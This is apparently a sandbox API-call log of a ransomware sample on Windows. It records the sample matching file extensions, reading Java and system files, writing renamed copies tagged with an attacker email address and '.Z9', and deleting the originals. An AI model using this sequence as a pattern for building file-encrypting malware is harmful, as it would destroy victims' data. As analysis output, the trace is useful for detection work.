	[0162.152] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0162.152] lstrlenW (lpString=".rar") returned 4
	[0162.152] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0162.152] lstrlenW (lpString=".bz2") returned 4
	[0162.152] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0162.153] lstrlenW (lpString=".7z") returned 3
	[0162.153] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString=".dbf") returned 4
	[0162.153] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString=".1cd") returned 4
	[0162.153] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString=".jpg") returned 4
	[0162.153] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString=".doc") returned 4
	[0162.153] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0162.153] lstrlenW (lpString=".docx") returned 5
	[0162.153] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0162.153] lstrlenW (lpString=".pdf") returned 4
	[0162.153] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0162.153] lstrlenW (lpString=".xls") returned 4
	[0162.153] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0162.153] lstrlenW (lpString=".xlsx") returned 5
	[0162.153] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0162.153] lstrlenW (lpString=".ppt") returned 4
	[0162.153] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0162.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.153] lstrlenW (lpString=".zip") returned 4
	[0162.154] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0162.154] lstrlenW (lpString=".rar") returned 4
	[0162.154] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0162.154] lstrlenW (lpString=".bz2") returned 4
	[0162.154] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0162.154] lstrlenW (lpString=".7z") returned 3
	[0162.154] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0162.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.154] lstrlenW (lpString=".dbf") returned 4
	[0162.154] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0162.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.154] lstrlenW (lpString=".1cd") returned 4
	[0162.154] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0162.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.154] lstrlenW (lpString=".jpg") returned 4
	[0162.154] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0162.154] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0162.154] lstrlenW (lpString="msdarem.dll") returned 11
	[0162.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0162.302] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=221696) returned 1
	[0162.302] CloseHandle (hObject=0x43c) returned 1
	[0162.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20
	[0162.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0162.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.302] lstrlenW (lpString=".doc") returned 4
	[0162.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".docx") returned 5
	[0162.303] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0162.303] lstrlenW (lpString=".pdf") returned 4
	[0162.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".xls") returned 4
	[0162.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".xlsx") returned 5
	[0162.303] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0162.303] lstrlenW (lpString=".ppt") returned 4
	[0162.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString=".zip") returned 4
	[0162.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".rar") returned 4
	[0162.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".bz2") returned 4
	[0162.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0162.303] lstrlenW (lpString=".7z") returned 3
	[0162.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString=".dbf") returned 4
	[0162.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString=".1cd") returned 4
	[0162.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString=".jpg") returned 4
	[0162.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.303] lstrlenW (lpString=".doc") returned 4
	[0162.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0162.303] lstrlenW (lpString=".docx") returned 5
	[0162.303] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0162.303] lstrlenW (lpString=".pdf") returned 4
	[0162.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0162.304] lstrlenW (lpString=".xls") returned 4
	[0162.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0162.304] lstrlenW (lpString=".xlsx") returned 5
	[0162.304] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0162.304] lstrlenW (lpString=".ppt") returned 4
	[0162.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0162.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.304] lstrlenW (lpString=".zip") returned 4
	[0162.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0162.304] lstrlenW (lpString=".rar") returned 4
	[0162.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0162.304] lstrlenW (lpString=".bz2") returned 4
	[0162.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0162.304] lstrlenW (lpString=".7z") returned 3
	[0162.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0162.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.304] lstrlenW (lpString=".dbf") returned 4
	[0162.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0162.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.304] lstrlenW (lpString=".1cd") returned 4
	[0162.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0162.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0162.304] lstrlenW (lpString=".jpg") returned 4
	[0162.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0162.304] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0162.304] lstrlenW (lpString="nashorn.jar") returned 11
	[0162.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0162.311] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=2022734) returned 1
	[0162.311] CloseHandle (hObject=0x440) returned 1
	[0162.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0162.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.661] lstrlenW (lpString=".doc") returned 4
	[0162.661] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.661] lstrlenW (lpString=".docx") returned 5
	[0162.661] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0162.661] lstrlenW (lpString=".pdf") returned 4
	[0162.661] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.661] lstrlenW (lpString=".xls") returned 4
	[0162.661] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.661] lstrlenW (lpString=".xlsx") returned 5
	[0162.661] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0162.661] lstrlenW (lpString=".ppt") returned 4
	[0162.661] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.661] lstrlenW (lpString=".zip") returned 4
	[0162.661] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.661] lstrlenW (lpString=".rar") returned 4
	[0162.661] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.661] lstrlenW (lpString=".bz2") returned 4
	[0162.661] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.661] lstrlenW (lpString=".7z") returned 3
	[0162.661] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.661] lstrlenW (lpString=".dbf") returned 4
	[0162.661] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString=".1cd") returned 4
	[0162.662] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString=".jpg") returned 4
	[0162.662] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString=".doc") returned 4
	[0162.662] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.662] lstrlenW (lpString=".docx") returned 5
	[0162.662] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0162.662] lstrlenW (lpString=".pdf") returned 4
	[0162.662] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString=".xls") returned 4
	[0162.662] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString=".xlsx") returned 5
	[0162.662] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0162.662] lstrlenW (lpString=".ppt") returned 4
	[0162.662] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString=".zip") returned 4
	[0162.662] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString=".rar") returned 4
	[0162.662] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.662] lstrlenW (lpString=".bz2") returned 4
	[0162.662] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.662] lstrlenW (lpString=".7z") returned 3
	[0162.662] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.662] lstrlenW (lpString=".dbf") returned 4
	[0162.662] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.663] lstrlenW (lpString=".1cd") returned 4
	[0162.663] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0162.663] lstrlenW (lpString=".jpg") returned 4
	[0162.663] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.663] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0162.663] lstrlenW (lpString="zipfs.jar") returned 9
	[0162.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0162.663] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=68924) returned 1
	[0162.664] CloseHandle (hObject=0x450) returned 1
	[0162.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
	[0162.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0162.755] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.755] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.756] GetLastError () returned 0x0
	[0162.756] ReadFile (in: hFile=0x43c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0162.777] WriteFile (in: hFile=0x38c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0162.779] ReadFile (in: hFile=0x43c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.780] WriteFile (in: hFile=0x38c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xe6, lpOverlapped=0x0) returned 1
	[0162.780] SetEndOfFile (hFile=0x38c) returned 1
	[0162.780] CloseHandle (hObject=0x38c) returned 1
	[0162.780] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.780] SetEndOfFile (hFile=0x43c) returned 1
	[0162.785] CloseHandle (hObject=0x43c) returned 1
	[0162.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.786] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0162.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.787] lstrlenW (lpString=".doc") returned 4
	[0162.787] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.787] lstrlenW (lpString=".docx") returned 5
	[0162.787] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0162.787] lstrlenW (lpString=".pdf") returned 4
	[0162.787] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.787] lstrlenW (lpString=".xls") returned 4
	[0162.787] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.787] lstrlenW (lpString=".xlsx") returned 5
	[0162.787] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0162.787] lstrlenW (lpString=".ppt") returned 4
	[0162.787] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.787] lstrlenW (lpString=".zip") returned 4
	[0162.787] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.787] lstrlenW (lpString=".rar") returned 4
	[0162.787] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.787] lstrlenW (lpString=".bz2") returned 4
	[0162.787] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.787] lstrlenW (lpString=".7z") returned 3
	[0162.787] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.787] lstrlenW (lpString=".dbf") returned 4
	[0162.788] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.788] lstrlenW (lpString=".1cd") returned 4
	[0162.788] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.788] lstrlenW (lpString=".jpg") returned 4
	[0162.788] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.788] lstrlenW (lpString=".doc") returned 4
	[0162.788] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.788] lstrlenW (lpString=".docx") returned 5
	[0162.788] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0162.788] lstrlenW (lpString=".pdf") returned 4
	[0162.788] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.788] lstrlenW (lpString=".xls") returned 4
	[0162.788] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.788] lstrlenW (lpString=".xlsx") returned 5
	[0162.788] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0162.788] lstrlenW (lpString=".ppt") returned 4
	[0162.788] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.788] lstrlenW (lpString=".zip") returned 4
	[0162.788] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.788] lstrlenW (lpString=".rar") returned 4
	[0162.789] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.789] lstrlenW (lpString=".bz2") returned 4
	[0162.789] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.789] lstrlenW (lpString=".7z") returned 3
	[0162.789] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.789] lstrlenW (lpString=".dbf") returned 4
	[0162.789] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.789] lstrlenW (lpString=".1cd") returned 4
	[0162.789] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0162.789] lstrlenW (lpString=".jpg") returned 4
	[0162.789] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.789] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.789] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0162.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0162.790] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=75124) returned 1
	[0162.790] CloseHandle (hObject=0x43c) returned 1
	[0162.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20
	[0162.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.964] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0162.965] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.965] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0162.966] GetLastError () returned 0x0
	[0162.966] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x12574, lpOverlapped=0x0) returned 1
